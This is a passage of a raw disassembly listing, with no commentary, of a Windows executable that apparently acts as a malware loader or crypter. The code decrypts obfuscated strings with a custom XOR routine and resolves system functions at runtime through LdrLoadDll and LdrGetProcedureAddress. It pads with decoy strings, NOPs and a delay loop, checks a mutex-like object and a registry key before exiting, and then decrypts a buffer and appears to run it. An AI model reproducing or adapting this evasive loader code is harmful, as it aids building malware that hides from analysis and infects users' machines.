; ---------------------------------------------------------------------------
		jmp	short loc_404238
; ---------------------------------------------------------------------------


loc_404240:				; CODE XREF: sub_404214:loc_404238j
					; DATA XREF: sub_404214+1Fo
		pop	ebp
		retn
sub_404214	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_404244	proc near		; DATA XREF: CODE:004045DCo
		sub	ds:dword_4076C4, 1
		retn
sub_404244	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40424C	proc near		; CODE XREF: sub_40445C+47p
		jmp	ds:dword_40815C
sub_40424C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_404254	proc near		; CODE XREF: sub_40445C+20p
		jmp	ds:dword_408158
sub_404254	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40425C	proc near		; CODE XREF: sub_40445C+2Fp
		jmp	ds:dword_408154
sub_40425C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_404264	proc near		; CODE XREF: sub_40445C+11p
		jmp	ds:dword_408150
sub_404264	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40426C	proc near		; DATA XREF: CODE:004045E8o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_404291
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_4076C8
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_404298


loc_404290:				; CODE XREF: sub_40426C+2Aj
		retn
; ---------------------------------------------------------------------------


loc_404291:				; DATA XREF: sub_40426C+6o
		jmp	loc_402F8C
; ---------------------------------------------------------------------------
		jmp	short loc_404290
; ---------------------------------------------------------------------------


loc_404298:				; CODE XREF: sub_40426C:loc_404290j
					; DATA XREF: sub_40426C+1Fo
		pop	ebp
		retn
sub_40426C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40429C	proc near		; DATA XREF: CODE:004045E4o
		sub	ds:dword_4076C8, 1
		retn
sub_40429C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4042A4	proc near		; CODE XREF: CODE:00404771p
					; CODE:0040478Dp ...

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_11		= byte ptr -11h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFD4h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		mov	[ebp+var_2C], ebx
		mov	[ebp+var_28], ebx
		mov	[ebp+var_18], ebx
		mov	[ebp+var_C], ecx
		mov	[ebp+var_8], edx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		call	sub_4036CC
		mov	eax, [ebp+var_8]
		call	sub_4036CC
		xor	eax, eax
		push	ebp
		push	offset loc_40444C
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		xor	esi, esi
		lea	eax, [ebp+var_18]
		call	sub_403518
		mov	eax, [ebp+var_8]
		call	sub_403680
		test	eax, eax
		jle	short loc_404310
		mov	[ebp+var_20], eax
		mov	ebx, 1


loc_4042FD:				; CODE XREF: sub_4042A4+6Aj
		mov	eax, [ebp+var_8]
		movzx	eax, byte ptr [eax+ebx-1]
		cdq
		idiv	ebx
		xor	esi, edx
		inc	ebx
		dec	[ebp+var_20]
		jnz	short loc_4042FD


loc_404310:				; CODE XREF: sub_4042A4+4Fj
		cmp	esi, 0FFh
		jle	short loc_404334


loc_404318:				; CODE XREF: sub_4042A4+8Ej
		sar	esi, 1
		jns	short loc_40431F
		adc	esi, 0


loc_40431F:				; CODE XREF: sub_4042A4+76j
		mov	[ebp+var_24], esi
		fild	[ebp+var_24]
		call	sub_402AE8
		mov	esi, eax
		cmp	esi, 0FFh
		jg	short loc_404318


loc_404334:				; CODE XREF: sub_4042A4+72j
		mov	eax, [ebp+var_4]
		call	sub_403680
		test	eax, eax
		jle	loc_404411
		mov	[ebp+var_20], eax
		mov	ebx, 1


loc_40434C:				; CODE XREF: sub_4042A4+167j
		mov	eax, [ebp+var_8]
		call	sub_403680
		push	eax
		mov	eax, ebx
		pop	edx
		mov	ecx, edx
		cdq
		idiv	ecx
		mov	[ebp+var_1C], edx
		inc	[ebp+var_1C]
		mov	eax, [ebp+var_4]
		call	sub_403680
		xor	eax, ebx
		mov	edx, [ebp+var_8]
		mov	ecx, [ebp+var_1C]
		movzx	edx, byte ptr [edx+ecx-1]
		mov	ecx, edx
		cdq
		idiv	ecx
		mov	[ebp+var_10], edx
		inc	[ebp+var_10]
		mov	eax, ebx
		cdq
		idiv	[ebp+var_10]
		mov	eax, esi
		xor	dl, al
		mov	eax, [ebp+var_4]
		mov	al, [eax+ebx-1]
		mov	ecx, ebx
		and	ecx, 8000007Fh
		jns	short loc_4043A3
		dec	ecx
		or	ecx, 0FFFFFF80h
		inc	ecx


loc_4043A3:				; CODE XREF: sub_4042A4+F8j
		xor	al, cl
		mov	ecx, [ebp+var_8]
		mov	edi, [ebp+var_1C]
		movzx	ecx, byte ptr [ecx+edi-1]
		add	ecx, ecx
		shr	ecx, 2
		xor	al, cl
		xor	dl, al
		mov	[ebp+var_11], dl
		mov	eax, ebx
		and	eax, 80000001h
		jns	short loc_4043CA
		dec	eax
		or	eax, 0FFFFFFFEh
		inc	eax


loc_4043CA:				; CODE XREF: sub_4042A4+11Fj
		test	eax, eax
		jnz	short loc_4043E6
		lea	eax, [ebp+var_28]
		mov	dl, [ebp+var_11]
		call	sub_403628
		mov	edx, [ebp+var_28]
		lea	eax, [ebp+var_18]
		call	sub_403688
		jmp	short loc_404407
; ---------------------------------------------------------------------------


loc_4043E6:				; CODE XREF: sub_4042A4+128j
		lea	eax, [ebp+var_2C]
		xor	edx, edx
		mov	dl, [ebp+var_11]
		push	edx
		mov	edx, 0FFh
		pop	ecx
		sub	edx, ecx
		call	sub_403628
		mov	edx, [ebp+var_2C]
		lea	eax, [ebp+var_18]
		call	sub_403688


loc_404407:				; CODE XREF: sub_4042A4+140j
		inc	ebx
		dec	[ebp+var_20]
		jnz	loc_40434C


loc_404411:				; CODE XREF: sub_4042A4+9Aj
		mov	eax, [ebp+var_C]
		mov	edx, [ebp+var_18]
		call	sub_40356C
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_404453


loc_404429:				; CODE XREF: sub_4042A4+1ADj
		lea	eax, [ebp+var_2C]
		mov	edx, 2
		call	sub_40353C
		lea	eax, [ebp+var_18]
		call	sub_403518
		lea	eax, [ebp+var_8]
		mov	edx, 2
		call	sub_40353C
		retn
; ---------------------------------------------------------------------------


loc_40444C:				; DATA XREF: sub_4042A4+30o
		jmp	loc_402F8C
; ---------------------------------------------------------------------------
		jmp	short loc_404429
; ---------------------------------------------------------------------------


loc_404453:				; CODE XREF: sub_4042A4+1A7j
					; DATA XREF: sub_4042A4+180o
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4042A4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40445C	proc near		; CODE XREF: CODE:004047ADp

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= byte ptr -10h

		push	ebx
		push	esi
		push	edi
		add	esp, 0FFFFFFF0h
		mov	edi, edx
		xor	esi, esi
		xor	edx, edx
		mov	[esp+1Ch+var_1C], edx
		push	eax
		push	ebx
		call	sub_404264	; RtlInitUnicodeString
		lea	eax, [esp+1Ch+var_18]
		push	eax
		push	ebx
		push	0
		push	0
		call	sub_404254	; LdrLoadDll
		test	eax, eax
		jnz	short loc_4044B3
		push	edi
		lea	eax, [esp+20h+var_10]
		push	eax
		call	sub_40425C	; RtlInitString
		lea	eax, [esp+1Ch+var_14]
		push	eax
		movzx	eax, si
		push	eax
		lea	eax, [esp+24h+var_10]
		push	eax
		mov	eax, [esp+28h+var_18]
		push	eax
		call	sub_40424C	; LdrGetProcedureAddress
		test	eax, eax
		jnz	short loc_4044B3
		mov	eax, [esp+1Ch+var_14]
		mov	[esp+1Ch+var_1C], eax


loc_4044B3:				; CODE XREF: sub_40445C+27j
					; sub_40445C+4Ej
		mov	eax, [esp+1Ch+var_1C]
		add	esp, 10h
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40445C	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4044C0	proc near		; CODE XREF: CODE:00404642p
					; CODE:00404CEBp

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		mov	[ebp+var_8], edx
		mov	[ebp+var_4], eax
		lea	edx, [ebp+var_C]
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_C], eax
		mov	eax, [edx]
		mov	esp, ebp
		pop	ebp
		retn
sub_4044C0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4044E0	proc near		; CODE XREF: CODE:00404DCDp

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, edx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		call	sub_4036CC
		xor	eax, eax
		push	ebp
		push	offset loc_404543
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, esi
		mov	edx, offset aHelloworld	; "HelloWorld"
		call	sub_40356C
		mov	ebx, 1


loc_404512:				; CODE XREF: sub_4044E0+4Bj
		cmp	ebx, 1869Fh
		jnz	short loc_404524
		mov	eax, esi
		mov	edx, [ebp+var_4]
		call	sub_40356C


loc_404524:				; CODE XREF: sub_4044E0+38j
		inc	ebx
		cmp	ebx, 186A1h
		jnz	short loc_404512
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40454A


loc_40453A:				; CODE XREF: sub_4044E0+68j
		lea	eax, [ebp+var_4]
		call	sub_403518
		retn
; ---------------------------------------------------------------------------


loc_404543:				; DATA XREF: sub_4044E0+16o
		jmp	loc_402F8C
; ---------------------------------------------------------------------------
		jmp	short loc_40453A
; ---------------------------------------------------------------------------


loc_40454A:				; CODE XREF: sub_4044E0+62j
					; DATA XREF: sub_4044E0+55o
		pop	esi
		pop	ebx
		pop	ecx
		pop	ebp
		retn
sub_4044E0	endp

; ---------------------------------------------------------------------------
		align 10h
		dd 0FFFFFFFFh, 0Ah
aHelloworld	db 'HelloWorld',0       ; DATA XREF: sub_4044E0+23o
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404564	proc near		; DATA XREF: CODE:004045F0o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_404583
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40458A


loc_404582:				; CODE XREF: sub_404564+24j
		retn
; ---------------------------------------------------------------------------


loc_404583:				; DATA XREF: sub_404564+6o
		jmp	loc_402F8C
; ---------------------------------------------------------------------------
		jmp	short loc_404582
; ---------------------------------------------------------------------------


loc_40458A:				; CODE XREF: sub_404564:loc_404582j
					; DATA XREF: sub_404564+19o
		pop	ebp
		retn
sub_404564	endp

; ---------------------------------------------------------------------------
dword_40458C	dd 0Ch							; BSS:off_407628o
		dd offset off_404594
off_404594	dd offset loc_403D08	; DATA XREF: CODE:00404590o
		dd offset sub_403CD8
		dd offset sub_403AE4
		dd offset sub_403A90
		dd offset sub_403D40
		dd offset sub_403D10
		dd offset sub_403D90
		dd offset sub_403D60
		dd offset sub_403E1C
		dd offset sub_403DEC
		dd offset sub_404164
		dd offset sub_404134
		dd offset sub_40419C
		dd offset sub_40416C
		dd offset sub_4041D4
		dd offset sub_4041A4
		dd offset sub_40420C
		dd offset sub_4041DC
		dd offset sub_404244
		dd offset sub_404214
		dd offset sub_40429C
		dd offset sub_40426C
		align 10h
		dd offset sub_404564
; ---------------------------------------------------------------------------

		public start
start:
		push	ebp
		mov	ebp, esp
		mov	ecx, 12h


loc_4045FC:				; CODE XREF: CODE:00404601j
		push	0
		push	0
		dec	ecx
		jnz	short loc_4045FC
		push	ecx
		push	ebx
		push	esi
		mov	eax, offset dword_40458C
		call	sub_403C94
		mov	esi, ds:off_406104
		xor	eax, eax
		push	ebp
		push	offset loc_404EBD
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, 5
		call	sub_402B6C
		add	eax, 0CC619h
		push	eax
		mov	eax, 32h
		call	sub_402B6C
		add	eax, 5
		pop	edx
		call	sub_4044C0
		mov	ds:dword_407804, eax
		cmp	ds:dword_407804, 5
		jz	loc_404754
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		mov	eax, offset dword_40780C
		mov	edx, offset aLopakote124 ; "lopakote124"
		call	sub_40356C
		mov	eax, offset dword_407810
		mov	edx, offset aVibapida36	; "vibapida36"
		call	sub_40356C
		mov	eax, offset dword_407814
		mov	edx, offset aYorawapa87	; "yorawapa87"
		call	sub_40356C
		mov	eax, offset dword_407818
		mov	edx, offset aTivoriso84	; "tivoriso84"
		call	sub_40356C
		mov	eax, offset dword_40781C
		mov	edx, offset aNoyetavo43	; "noyetavo43"
		call	sub_40356C
		mov	eax, offset dword_407820
		mov	edx, offset aMoboyaja108 ; "moboyaja108"
		call	sub_40356C
		mov	eax, offset dword_407824
		mov	edx, offset aFofigaba70	; "fofigaba70"
		call	sub_40356C
		mov	eax, offset dword_407828
		mov	edx, offset aPecipowe36	; "pecipowe36"
		call	sub_40356C
		mov	eax, offset dword_40782C
		mov	edx, offset aSasapero105 ; "sasapero105"
		call	sub_40356C
		mov	eax, offset dword_407830
		mov	edx, offset aWohepodo79	; "wohepodo79"
		call	sub_40356C
		mov	eax, offset dword_407834
		mov	edx, offset aHakifoxi63	; "hakifoxi63"
		call	sub_40356C
		mov	eax, offset dword_407838
		mov	edx, offset aWonexifi78	; "wonexifi78"
		call	sub_40356C
		mov	eax, offset dword_40783C
		mov	edx, offset aBelogoki68	; "belogoki68"
		call	sub_40356C
		mov	eax, offset dword_40780C
		mov	edx, offset a00000010000000 ; "000000100000000000000000200000000000000"...
		call	sub_40356C
		mov	eax, 0Ah
		call	sub_402B6C
		mov	eax, 578h
		call	sub_402B6C
		xor	eax, eax
		mov	ds:dword_407808, eax


loc_404754:				; CODE XREF: CODE:00404653j
		mov	eax, offset dword_4077F8
		mov	edx, offset aQnkomxlZe78 ; "|[}QnkomxL%ZE]78"
		call	sub_40356C
		lea	ecx, [ebp-14h]
		mov	edx, ds:dword_4077F8
		mov	eax, offset dword_405078
		call	sub_4042A4
		mov	eax, [ebp-14h]
		call	sub_4036DC
		push	eax
		lea	ecx, [ebp-1Ch]
		mov	edx, ds:dword_4077F8
		mov	eax, offset dword_405090
		call	sub_4042A4
		mov	eax, [ebp-1Ch]
		call	sub_4036DC
		mov	edx, eax
		lea	eax, [ebp-18h]
		call	sub_403890
		mov	eax, [ebp-18h]
		call	sub_4038C0
		pop	edx
		call	sub_40445C
		mov	[esi], eax
		lea	ecx, [ebp-20h]
		mov	edx, ds:dword_4077F8
		mov	eax, offset dword_405090
		call	sub_4042A4
		mov	eax, [ebp-20h]
		call	sub_4036DC
		push	eax
		call	sub_403D58	; LoadLibraryA
		mov	ebx, eax
		lea	ecx, [ebp-24h]
		mov	edx, ds:dword_4077F8
		mov	eax, offset dword_4050A8
		call	sub_4042A4
		mov	eax, [ebp-24h]
		call	sub_4036DC
		push	eax
		call	sub_403D58	; LoadLibraryA
		mov	ds:dword_4077E8, eax
		lea	ecx, [ebp-28h]
		mov	edx, ds:dword_4077F8
		mov	eax, offset dword_4050BC
		call	sub_4042A4
		mov	eax, [ebp-28h]
		call	sub_4036DC
		push	eax
		call	sub_403D58	; LoadLibraryA
		mov	ds:dword_4077EC, eax
		lea	ecx, [ebp-2Ch]
		mov	edx, ds:dword_4077F8
		mov	eax, offset aDeoulzFIaDk@Md ; "EUZf{aD@MA"
		call	sub_4042A4
		mov	eax, [ebp-2Ch]
		call	sub_4036DC
		push	eax
		mov	eax, ds:dword_4077E8
		push	eax
		mov	eax, [esi]
		call	eax
		mov	edx, ds:off_4060D8
		mov	[edx], eax
		lea	ecx, [ebp-30h]
		mov	edx, ds:dword_4077F8
		mov	eax, offset dword_4050F4
		call	sub_4042A4
		mov	eax, [ebp-30h]
		call	sub_4036DC
		push	eax
		push	ebx
		mov	eax, [esi]
		call	eax
		mov	edx, ds:off_4060CC
		mov	[edx], eax
		lea	ecx, [ebp-34h]
		mov	edx, ds:dword_4077F8
		mov	eax, offset dword_40510C
		call	sub_4042A4
		mov	eax, [ebp-34h]
		call	sub_4036DC
		push	eax
		push	ebx
		mov	eax, [esi]
		call	eax
		mov	edx, ds:off_4060EC
		mov	[edx], eax
		lea	ecx, [ebp-38h]
		mov	edx, ds:dword_4077F8
		mov	eax, offset dword_405124
		call	sub_4042A4
		mov	eax, [ebp-38h]
		call	sub_4036DC
		push	eax
		push	ebx
		mov	eax, [esi]
		call	eax
		mov	edx, ds:off_4060F0
		mov	[edx], eax
		lea	ecx, [ebp-3Ch]
		mov	edx, ds:dword_4077F8
		mov	eax, offset dword_40513C
		call	sub_4042A4
		mov	eax, [ebp-3Ch]
		call	sub_4036DC
		push	eax
		push	ebx
		mov	eax, [esi]
		call	eax
		mov	edx, ds:off_406100
		mov	[edx], eax
		lea	ecx, [ebp-40h]
		mov	edx, ds:dword_4077F8
		mov	eax, offset dword_405154
		call	sub_4042A4
		mov	eax, [ebp-40h]
		call	sub_4036DC
		push	eax
		push	ebx
		mov	eax, [esi]
		call	eax
		mov	edx, ds:off_4060F4
		mov	[edx], eax
		lea	ecx, [ebp-44h]
		mov	edx, ds:dword_4077F8
		mov	eax, offset dword_40516C
		call	sub_4042A4
		mov	eax, [ebp-44h]
		call	sub_4036DC
		push	eax
		push	ebx
		mov	eax, [esi]
		call	eax
		mov	edx, ds:off_4060C8
		mov	[edx], eax
		lea	ecx, [ebp-48h]
		mov	edx, ds:dword_4077F8
		mov	eax, offset dword_405180
		call	sub_4042A4
		mov	eax, [ebp-48h]
		call	sub_4036DC
		push	eax
		push	ebx
		mov	eax, [esi]
		call	eax
		mov	edx, ds:off_4060E8
		mov	[edx], eax
		lea	ecx, [ebp-4Ch]
		mov	edx, ds:dword_4077F8
		mov	eax, offset aIIoZiZqkkCkz ; "[OZ`qKcZ"
		call	sub_4042A4
		mov	eax, [ebp-4Ch]
		call	sub_4036DC
		push	eax
		push	ebx
		mov	eax, [esi]
		call	eax
		mov	edx, ds:off_4060F8
		mov	[edx], eax
		lea	ecx, [ebp-50h]
		mov	edx, ds:dword_4077F8
		mov	eax, offset aI@Ogk_NRrvlY ; "@Ok_{]rLY"
		call	sub_4042A4
		mov	eax, [ebp-50h]
		call	sub_4036DC
		push	eax
		push	ebx
		mov	eax, [esi]
		call	eax
		mov	edx, ds:off_4060D4
		mov	[edx], eax
		lea	ecx, [ebp-54h]
		mov	edx, ds:dword_4077F8
		mov	eax, offset aMw_ciksMncZap ; "W_ISmczP"
		call	sub_4042A4
		mov	eax, [ebp-54h]
		call	sub_4036DC
		push	eax
		push	ebx
		mov	eax, [esi]
		call	eax
		mov	edx, ds:off_4060FC
		mov	[edx], eax
		lea	ecx, [ebp-58h]
		mov	edx, ds:dword_4077F8
		mov	eax, offset aSwpooiaq@ircv ; "WoIQ]@rV"
		call	sub_4042A4
		mov	eax, [ebp-58h]
		call	sub_4036DC
		push	eax
		push	ebx
		mov	eax, [esi]
		call	eax
		mov	edx, ds:off_4060E0
		mov	[edx], eax
		lea	ecx, [ebp-5Ch]
		mov	edx, ds:dword_4077F8
		mov	eax, offset aNwpooiaq@ircv ; "WoIQ]@rV"
		call	sub_4042A4
		mov	eax, [ebp-5Ch]
		call	sub_4036DC
		push	eax
		push	ebx
		mov	eax, [esi]
		call	eax
		mov	edx, ds:off_40610C
		mov	[edx], eax
		lea	ecx, [ebp-60h]
		mov	edx, ds:dword_4077F8
		mov	eax, offset dword_405224
		call	sub_4042A4
		mov	eax, [ebp-60h]
		call	sub_4036DC
		push	eax
		push	ebx
		mov	eax, [esi]
		call	eax
		mov	edx, ds:off_4060DC
		mov	[edx], eax
		lea	ecx, [ebp-64h]
		mov	edx, ds:dword_4077F8
		mov	eax, offset dword_40523C
		call	sub_4042A4
		mov	eax, [ebp-64h]
		call	sub_4036DC
		push	eax
		push	ebx
		mov	eax, [esi]
		call	eax
		mov	edx, ds:off_4060D0
		mov	[edx], eax
		lea	ecx, [ebp-68h]
		mov	edx, ds:dword_4077F8
		mov	eax, offset aKwivpuddNmaRQ ; "WVUDNArQ"
		call	sub_4042A4
		mov	eax, [ebp-68h]
		call	sub_4036DC
		push	eax
		push	ebx
		mov	eax, [esi]
		call	eax
		mov	edx, ds:off_406108
		mov	[edx], eax
		lea	ecx, [ebp-6Ch]
		mov	edx, ds:dword_4077F8
		mov	eax, offset dword_405270
		call	sub_4042A4
		mov	eax, [ebp-6Ch]
		call	sub_4036DC
		push	eax
		push	ebx
		mov	eax, [esi]
		call	eax
		mov	edx, ds:off_4060C4
		mov	[edx], eax
		lea	ecx, [ebp-70h]
		mov	edx, ds:dword_4077F8
		mov	eax, offset dword_405284
		call	sub_4042A4
		mov	eax, [ebp-70h]
		call	sub_4036DC
		push	eax
		mov	eax, ds:dword_4077EC
		push	eax
		mov	eax, [esi]
		call	eax
		mov	edx, ds:off_4060E4
		mov	[edx], eax
		lea	ecx, [ebp-74h]
		mov	edx, ds:dword_4077F8
		mov	eax, offset dword_405298
		call	sub_4042A4
		mov	eax, [ebp-74h]
		call	sub_4036DC
		mov	edx, eax
		mov	eax, offset dword_4077FC
		call	sub_403638
		lea	ecx, [ebp-78h]
		mov	edx, ds:dword_4077F8
		mov	eax, offset dword_4052A4
		call	sub_4042A4
		mov	eax, [ebp-78h]
		call	sub_4036DC
		mov	edx, eax
		mov	eax, offset dword_407800
		call	sub_403638
		lea	ecx, [ebp-7Ch]
		mov	edx, ds:dword_4077F8
		mov	eax, offset dword_4052B0
		call	sub_4042A4
		mov	eax, [ebp-7Ch]
		call	sub_4036DC
		mov	edx, eax
		mov	eax, offset dword_407840
		call	sub_403638
		lea	ecx, [ebp-80h]
		mov	edx, ds:dword_4077F8
		mov	eax, offset dword_4052C4
		call	sub_4042A4
		mov	eax, [ebp-80h]
		call	sub_4036DC
		mov	edx, eax
		mov	eax, offset dword_407844
		call	sub_403638
		lea	ecx, [ebp-84h]
		mov	edx, ds:dword_4077F8
		mov	eax, offset dword_4052D4
		call	sub_4042A4
		mov	eax, [ebp-84h]
		call	sub_4036DC
		mov	edx, eax
		mov	eax, offset dword_407848
		call	sub_403638
		lea	ecx, [ebp-88h]
		mov	edx, ds:dword_4077F8
		mov	eax, offset dword_4052E4
		call	sub_4042A4
		mov	eax, [ebp-88h]
		call	sub_4036DC
		mov	edx, eax
		mov	eax, offset dword_40784C
		call	sub_403638
		push	ebx
		mov	eax, ds:off_4060C8
		mov	eax, [eax]
		call	eax
		mov	eax, ds:dword_4077EC
		push	eax
		mov	eax, ds:off_4060C8
		mov	eax, [eax]
		call	eax
		mov	eax, ds:dword_4077E8
		push	eax
		mov	eax, ds:off_4060C8
		mov	eax, [eax]
		call	eax
		push	0D34DC0D9h
		push	0
		push	1
		mov	eax, ds:off_4060C4
		mov	eax, [eax]
		call	eax
		test	eax, eax
		jz	short loc_404C51
		xor	eax, eax
		call	sub_403500
; ---------------------------------------------------------------------------
		mov	ds:byte_4077F0,	1


loc_404C51:				; CODE XREF: CODE:00404C41j
		push	offset dword_4077F4
		mov	eax, ds:dword_407840
		call	sub_4036DC
		push	eax
		push	80000001h
		mov	eax, ds:off_4060E4
		mov	eax, [eax]
		call	eax
		not	eax
		cmp	eax, ds:dword_407808
		jnz	short loc_404C87
		xor	eax, eax
		call	sub_403500
; ---------------------------------------------------------------------------
		mov	ds:byte_4077F0,	1


loc_404C87:				; CODE XREF: CODE:00404C77j
		cmp	ds:byte_4077F0,	1
		jnz	short loc_404CFE
		cmp	ds:byte_4077F0,	1
		jnz	short loc_404CFE


loc_404C99:				; CODE XREF: CODE:00404CFCj
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		mov	ebx, 5


loc_404CC0:				; CODE XREF: CODE:00404CD1j
		mov	eax, offset dword_40780C
		mov	edx, ds:dword_40783C
		call	sub_40356C
		dec	ebx
		jnz	short loc_404CC0
		xor	eax, eax
		call	sub_403500
; ---------------------------------------------------------------------------
		push	0
		call	sub_403D48	; ExitProcess
		mov	edx, 0FFFFCFA9h
		mov	eax, 0FFFF2BECh
		call	sub_4044C0
		mov	ds:dword_407804, eax
		cmp	ds:byte_4077F0,	1
		jz	short loc_404C99


loc_404CFE:				; CODE XREF: CODE:00404C8Ej
					; CODE:00404C97j
		xor	eax, eax
		mov	ds:dword_4077DC, eax
		xor	esi, esi
		mov	ebx, 1
		mov	eax, ds:dword_4077FC
		call	sub_4036DC
		mov	edx, eax
		mov	eax, offset dword_4076D4
		call	sub_403D98
		mov	ds:dword_4076D0, eax
		mov	edx, offset byte_4076D8
		mov	eax, ds:dword_4076D0
		mov	ecx, ds:dword_4076D4
		call	sub_4028E0
		mov	eax, ds:dword_407800
		call	sub_4036DC
		mov	edx, eax
		mov	eax, offset dword_4077DC
		call	sub_403D98
		mov	ds:dword_4077E4, eax
		mov	eax, offset dword_4076CC
		mov	edx, ds:dword_4077DC
		call	sub_403734
		mov	eax, offset dword_4076CC
		call	sub_40372C
		lea	eax, [eax+ebx-1]
		push	eax
		mov	eax, ds:dword_4076CC
		call	sub_403680
		mov	ecx, eax
		mov	eax, ds:dword_4077E4
		pop	edx
		call	sub_4028E0
		cmp	ds:dword_407804, 5
		jle	loc_404E1A
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		mov	eax, offset dword_4077E0
		mov	edx, offset aLod85fafJRi ; "<lOD85FAf)#j]{ri"
		mov	ecx, 100h
		call	sub_403668
		lea	edx, [ebp-8Ch]
		mov	eax, ds:dword_4077E0
		call	sub_4044E0
		mov	edx, [ebp-8Ch]
		mov	eax, offset dword_4077E0
		call	sub_40356C
		lea	ecx, [ebp-90h]
		mov	edx, ds:dword_4077E0
		mov	eax, ds:dword_4076CC
		call	sub_4042A4
		mov	edx, [ebp-90h]
		mov	eax, offset dword_4076CC
		call	sub_40356C
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop


loc_404E1A:				; CODE XREF: CODE:00404D94j
		mov	eax, ds:dword_4076CC
		call	sub_403680
		call	sub_4027CC
		mov	ds:dword_4077E4, eax
		mov	eax, offset dword_4076CC
		call	sub_40372C
		lea	eax, [eax+ebx-1]
		push	eax
		mov	eax, ds:dword_4076CC
		call	sub_403680
		mov	ecx, eax
		mov	edx, ds:dword_4077E4
		pop	eax
		call	sub_4028E0
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		lea	edx, [ebp-94h]
		mov	eax, esi
		call	sub_402A84
		mov	edx, [ebp-94h]
		mov	eax, ds:dword_4077E4
		call	sub_403E54
		test	al, al
		jz	short loc_404E8F
		mov	eax, ds:dword_4077E4
		call	sub_4027FC


loc_404E8F:				; CODE XREF: CODE:00404E83j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_404EC4


loc_404E9C:				; CODE XREF: CODE:00404EC2j
		lea	eax, [ebp-94h]
		mov	edx, 1Fh
		call	sub_40353C
		lea	eax, [ebp-18h]
		call	sub_4037C8
		lea	eax, [ebp-14h]
		call	sub_403518
		retn
; ---------------------------------------------------------------------------


loc_404EBD:				; DATA XREF: CODE:00404619o
		jmp	loc_402F8C
; ---------------------------------------------------------------------------
		jmp	short loc_404E9C
; ---------------------------------------------------------------------------


loc_404EC4:				; CODE XREF: CODE:00404EBCj
					; DATA XREF: CODE:00404E97o
		pop	esi
		pop	ebx
		call	sub_403420
; ---------------------------------------------------------------------------
		align 4
		dd 0FFFFFFFFh, 0Bh
aLopakote124	db 'lopakote124',0      ; DATA XREF: CODE:0040466Co
		dd 0FFFFFFFFh, 0Ah
aVibapida36	db 'vibapida36',0       ; DATA XREF: CODE:0040467Bo
		align 4
		dd 0FFFFFFFFh, 0Ah
aYorawapa87	db 'yorawapa87',0       ; DATA XREF: CODE:0040468Ao
		align 4
		dd 0FFFFFFFFh, 0Ah
aTivoriso84	db 'tivoriso84',0       ; DATA XREF: CODE:00404699o
		align 4
		dd 0FFFFFFFFh, 0Ah
